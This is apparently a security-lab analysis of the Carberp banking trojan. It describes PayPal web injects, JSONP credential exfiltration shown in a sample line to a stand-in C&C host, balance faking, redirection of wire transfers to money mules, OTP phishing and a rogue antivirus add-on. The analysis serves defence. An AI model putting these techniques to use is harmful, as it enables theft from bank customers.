Credits go to Alex Shipp who reversed engineered some samples including the configuration mechanism. His article can be seen here: http://www.trustdefender.com/trustdefender-labs-blog-carberp-tricks-and-traps-a-technical-overview.html

1 INTRODUCTION

For this report, we looked at two Carberp samples

• MD5 54f9f6dd8fbbd40ff61ed66fc9a0ac4f which was seen on Nov 15.
• MD5 2b36b49baec741ba8e82ae32dca19906 which was seen on Dec 1.

As we regularly experience, antivirus detection is pretty bad.

• For the first sample, Virustotal detection reports a 16.3% detection rate (7/43) http://www.virustotal.com/file-scan/report.html?id=2c235893f1232185f935af425f66c3b1d7120d594d14be57f01b9f3873ddb76c-1289808255.
  And a big cheers to Microsoft for being the only antivirus Engine to get the name right J
• For the second sample, Virustotal detection reports an 11.6% detection rate (5/43) http://www.virustotal.com/file-scan/report.html?id=8370576e842f1219c8e9c9486cb4c2d661a3b1ef2b184ea59ed45ac69159ddd4-1291196003 with only generic detections.

As we’ll see further below, this Carberp sample behaves exactly (!) as all Carberp samples before and I have a hard time understanding why it’s so hard to detect and why it’s so hard to see that this is the Carberp Trojan.</rant>

As we have analysed the Carberp Trojan in very much detail before, we won’t go into any details of how it infects a system and how you can detect it. Please refer to our TrustDefender Labs in-depth report in October for full details.

The payload was distributed from <<REMOVED>> which is a Phoenix exploit kit and it used <<REMOVED>> as its C&C server. The name doesn’t resolve now anymore, so that’s good.

The second sample used <<REMOVED>> as C&C server. Passive DNS reveals that this is also known as <<REMOVED>> [1].

Similarly to previous Carberp Trojans, this sample will download the following plugins

• /cfg/imp and /cfg/dknew
• /cfg/passw.plug
• /cfg/stopav.plug
• /cfg/miniav.plug

However this particular sample will also download and execute a file from <<REMOVED>>. <<REMOVED>> resolved to <<REMOVED>>

As we’ll find out later, this is a fairly nasty rogue antivirus engine.

1.1 CHANGE IN TACTICS?

Does this constitute a change of tactics for the guys behind Carberp? Are they moving away from their sophisticated attacks on banking websites to generating revenue from Rogue AV engines?

The way they’ll scam for their business, it seems absolutely plausible that they’ll generate a huge amount of revenue through selling rogue AV engines.

2 THE CONFIGURATION FILE

The downloaded /cfg/imp file is the configuration file for this variant and surprisingly this configuration file is really nice and simple and as such it provides a good opportunity to illustrate how Carberp works.

As we know from the last report, Carberp has full control over any HTTP or HTTPS session (EV SSL included) and can inject any kind of additional HTML or JavaScript content into the current page.

This behaviour is nothing special and puts Carberp into the same league as Zeus, Spyeye, URLZone, etc.

The decrypted configuration file looks like this:

This configuration file basically means the following:

• If the browser goes to any PayPal site (*paypal.com*), inject the attached script into the website, and
• Add an !deactivated!ONEVENT event to the submit button

Now the injected JavaScript does the following:

• It will get the email (username) and password from the page and will send these stolen details to the C&C server via https to https://<<REMOVED>>/mv/paypal.com/grabber.php?idt=%user%&name=<EMAIL>%pass=<PASS>
• Typically browsers have a same domain security setting where no information can be leaked to other domains, but the perpetrators use a technique called ‘JSONP’ where they don’t physically send the information out, they “just” request a JavaScript from a different site with the stolen credentials as parameter! And this is allowed!!!
• This JavaScript will be called when the user clicks on Login and will obviously also trigger the “real” login to PayPal.

The stolen credentials will be sent to an encrypted site (<<REMOVED>> in our case). When we looked at the certificate, we realized that it is issued to <<REMOVED>>. The experienced reader will recognize that <<REMOVED>> was one of the main C&C servers in the Netherlands in the first wave of Carberp Trojans that caused quite some damage.

Now if we go to the PayPal site, we can see the injection working within the browser:

Obviously this JavaScript runs now within the HTTPS session of PayPal and can potentially cause a whole lot of problems.

This is a perfect example that highlights the base principles of any kind of JavaScript injection into a website via a Trojan. The C&C server actually needs to be HTTPS as otherwise the browser would complain about mixed HTTP and HTTPS content. In addition, the only other thing that’s needed is JSONP, some JavaScript knowledge and in-depth knowledge about the website that is being attacked.

In the next section, we’ll look into some JavaScript examples that were used in the first wave of Carberp attacks that did some really smart things.

3 ADVANCED HTML/JAVASCRIPT INJECTION

The main emphasis of this in-depth report is not the Trojans themselves, but rather to observe what they do to the banking session (HTML) within the web browser. We look in detail at the chosen approach and provide details how they perform their nasty work.

3.1 SOME GENERAL NOTES

You’ll see quite a bit of JavaScript over the next couple of pages and I hope to find the right balance between technical information and understandibility.

The fraudsters behind Carberp spend considerable time not just on the configuration file, but making sure that they have a very flexible and dynamic scheme in place to compromise a banking website. They want to do much more than “just” simple information stealing where some information is sent with the POST request to somewhere. Instead, they want to be able to dynamically send and receive information to steal data even very sophisticated authentication schemes are used.

However in order to do this, information has to be sent to and from malicious hosts via JavaScript. All browsers have a “same domain” security model in place, which basically means that such information can only be sent to the current domain and not to anyone else (to actually prevent exactly these things).

So how can it be that the bad guys are successful in doing dynamic (AJAX) requests to their C&C servers?

The answer is: they don’t. They use a feature known for AJAX as JSONP (or JSON with Padding). That essentially means that they are not even sending any information via AJAX.

What they do is to dynamically create a <SCRIPT> element with all the parameters that are to be sent as parameters. This dynamic element is created via JavaScript. The browser evaluates this as if it would be part of the banking website and you can happily include content from other hosts. The trick here is that the information that is to be sent is just added as HTTP parameter, which means that the Web browser will make a request to this page (with all parameters). The other benefit is that the page even executes any JavaScript that is returned.

Example: Say the Trojan wants to send the username abc and password 123 to their C&C server; they just dynamically add a SCRIPT element as follows:

• <SCRIPT src=’https://TROJANC&C.com/in.php?username=abc&pass=123></SCRIPT>

The analysed Carberp configuration and JavaScript files provided lots of really sophisticated examples and we just present a few selected ones below.

3.2 PERSISTENT STORAGE

One thing we found quite interesting is the way how the perpetrators implement persistent storage. Persistent storage is needed if you want to save the current account balance for later use.

Internet Explorer actually provides a nice interface for “localStorage” and “globalStorage” that can be used for exactly this purpose.

If that’s not possible (e.g. if you run Firefox), then they simply create a new content element (that’s a <DIV> element called ‘customStorage’) where they store the information.

Access to the persistent store is done via a JavaScript function (called ‘ud’) where you can specify whether you want to read, write or delete the name and the value of the information to be stored together with an expiry.

3.3 EXAMPLE 1: GET THE ACTUAL CASH BALANCE FOR THE CURRENT ACCOUNT

This will copy the available balance from the HTML content id ‘cashTotalAvalBalance’ to the variable “total”. Then it will remove the dollar ($) and comma (,) characters and then call a function “sdata” which does a request to the C&C server with the following parameter:

• make=auth
• rix=<timestamp>
• total=<available cash>
• idt=<USERID within the Carberp backend>

3.4 EXAMPLE 2: REPLACING THE LOGIN BUTTON WITH A “MALICIOUS” LOGIN BUTTON

1. This snippet will walk through all form fields and once it finds one called ‘Anmelden’ (German for login) it will save a reference to it.
2. Then it will create a new input field with exactly the same values (name, type, class, title, value, tabIndex), however it will set an !deactivated!ONEVENT event handler which will now call a malicious function “doLogin” if the user clicks on it.
3. Then it will insert this newly created button to the page (2nd to last line) and finally will remove the “real” login button (last line)
4. The doLogin function will take the accountNumber, the pinNumber, the current URL, a Carberp unique userid and a browser identifier and save this into local storage and then will submit the form.
5. The information in the local storage will then later be used.

3.5 EXAMPLE 3: CHANGE ACCOUNT BALANCE DISPLAY (TO REMOVE FRAUDULENT TRANSACTION AMOUNT)

1. This JavaScript routine will go through all the tables within the HTML and if the CSS class is either “posSaldo” (positive balance) or “negSaldo” (negative balance), it will save the current balance in the variable “sal”.
2. Furthermore it will get the fraudulent amount from local storage into the “sd” variable. “nv” is then the correct HTML of the fake amount (obviously the current balance plus the fraudulent amount).
3. Then it will be written to the HTML (and to make it look nice, the style sheet will be fixed up as well

3.6 EXAMPLE 4: REMEMBER THE LAST LOGIN DATE AND REPLACE THE “REAL” LAST LOGIN DATE WITH A FAKE ONE

1. When called, this will walk through the content elements and find the paragraph that contains “Letztes Login” (German for last login).
2. It will then convert the date and time into a JavaScript variable
3. The first time, it just store this information in the persistent storage
4. The second time, it will replace the real date with the saved one from the persistent storage.

3.7 EXAMPLE 5: CHANGE RECIPIENT DETAILS ON FORM SUBMISSION

Ok, this is cool…

The next snippet will be called in exactly the same way we presented in Example 2, meaning the submit button has been replaced and once the user clicks on submit, the following code will execute:

And then this will happen…

1. In this section, the original recipient details will be saved and the wire transfer form will be located. For our non-German readers (empfaengerName = recipient name, empfaengerKontonummer = recipient account number, empfaengerBlz = recipient bank identifier, betrag = amount, verwendungszweck = reference number)
2. All these details will be stored in the local storage
3. The login number, the account number, the amount and the bank identification number will be sent to the C&C server, who will in turn reply with the money mule account details. Now the alertContents function will be called which will change the recipient details on the fly
4. Now with all the relevant information at hand, Carberp will search for the wire transfer form and
5. Put the money mule details received by step 3 into the local storage for later use
6. Carberp makes sure that this wire transfer is executed immediately
7. Now the recipient details are changed to the money mule details
8. And finally the form will be submitted and the wire transfer executed

It is worth noting that now the original recipient details and the changed details (money mule) are still in local storage for later use (e.g. change the available account balance)

3.8 EXAMPLE 6: THE MOST WELL-THOUGHT-THROUGH EXAMPLE OF ONE-TIME-PASSWORD TOKEN STEALING

Warning: You’ll be impressed! What can I say… The power of JavaScript…

We’ve all seen so many examples where form fields are changed so that the fraudsters can steal the information they want, but I have never ever seen such a sophisticated token stealing mechanism as employed by the guys behind Carberp. Sophisticated not really in the technical sense, but more from a user design point of view. These guys have spent so much time making sure that users won’t get suspicious.

As you know, OTP’s are only valid once and for a specific time. So the “traditional” approach was to either present a dedicated form to steal a OTP on its own (see e.g. our last Gozi report for such an example).

So this one blew us away and it works as follows[2]:

• For an authentication page where the user has to provide a OTP, Carberp will hook into the onSubmit of the “Sign on” button
• It will save all values (including the OTP) and then simulate the look and feel of a new page loading.  This new page says that the token password has expired and the user should please enter another one. The page loading will be stretched to 60 seconds to get a new OTP!
• The page load simulation is done as follows
  • The status bar will show “Waiting for https://<<URLREMOVED>>…”
    

• All content elements will be made invisible (via CSS) and the page loading time will be a simulated 60 seconds.
  

• With a timeout function, the content elements keep appearing one by one (exactly how it looks if a page loads slowly)
  

• They check all input parameters (including e.g. that the OTP is different than the old one)

4 ROGUE / FAKE ANTIVIRUS ENGINE

This Carberp variant has an interesting twist to it as it will also install a rogue Antivirus Engine. We at TrustDefender Labs are most interested in transactional Trojans so we’ll keep this section short; we can just view it as a kind of a “reverse online fraud” as the bad guys don’t try to turn legitimate wire transfers into fraudulent ones. Instead, they convince you to do execute and authorize the fraudulent transaction directly. No need to steal it at all.

First of all, it pretends to scan the computer just to find a lot of things (as you would guess).

Obviously there are many infections and I can only remove them if I pay (obviously).

$79.95 for a lifetime license + premium support doesn’t seem to be such a bad deal, but somehow I declined to pay this time.

The system is almost unusable if you don’t upgrade as for every single program the following information window will be shown!

So either you pay or the system is almost unusable… I think they make lots of money…

Side note: if you want to see exactly how much they are making, please refer to the great report by Bart Villeneuve from the Information Warfare Monitor: http://www.infowar-monitor.net/reports/iwm-koobface.pdf

SPOILER: “The Koobface mothership maintains daily records of the money earned from affiliate relationships. The daily total for the last seven days is sent to four Russian mobile phone numbers daily. The records of daily totals extend back for nearly one year, from June 23, 2009 to June 10, 2010. During this time, Koobface earned a total income of $2,067,682.69. The daily average income was $5,857.46.”